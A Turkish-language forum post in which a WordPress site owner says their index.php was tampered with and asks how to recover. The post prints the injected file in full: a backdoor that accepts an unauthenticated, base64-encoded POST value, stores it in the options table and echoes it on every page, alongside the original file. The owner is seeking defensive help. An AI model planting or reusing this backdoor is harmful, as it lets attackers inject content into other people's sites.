Dun gece birisi index.php dosyasini degistirip asagida ki kodu yerlestirmis? Bu durumdan nasil kurtulabilirim? index.php dosyasini wordpresste ki degismemis halini atsam bir sikinti yasar miyim ve sorunu cozer mi?
Sorunu profesyonel sekilde tekrarlanmiyacak sekilde cozebilecek birini ariyorum.
Degistirilen index.php dosyasi:
<?php
# only wp
define( 'WP_USE_THEMES', true );
@require __DIR__ . '/wp-blog-header.php';
# only wp 2
@$index_link = get_option('index_link');
if (@strstr($index_link, "http"))
{
$index_link = str_replace("", ">", $index_link);
}
if (@strlen($index_link) > 1){
echo $index_link;
}
if(isset($_POST['wp_index_link'])){
$wp_index_link = $_POST['wp_index_link'];
global $wpdb;
$prefix = $wpdb->prefix;
$index_link = get_option('index_link');
if (strlen($index_link) < 1)
{
$wp_index_link = base64_decode($wp_index_link);
$wp_index_link = $wpdb->_real_escape($wp_index_link);
$usql = "INSERT INTO " . $prefix . "options (option_name, option_value, autoload) VALUES('index_link', '" . $wp_index_link . "', 'yes');";
$results = $wpdb->get_results($usql);
echo "<br>index link insert set ok";
}
if (strlen($index_link) > 1){
$wp_index_link = base64_decode($wp_index_link);
$wp_index_link = $wpdb->_real_escape($wp_index_link);
echo $usql = "UPDATE " . $prefix . "options SET option_value='" . $wp_index_link . "' WHERE option_name='index_link';";
echo "<hr>";
$results = $wpdb->get_results($usql);
echo "<br>index link update ok";
}
}Orjinal index.php dosyasi :<?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define('WP_USE_THEMES', true);
/** Loads the WordPress Environment and Template */
require('./wp-blog-header.php');
?>Tesekkurler.
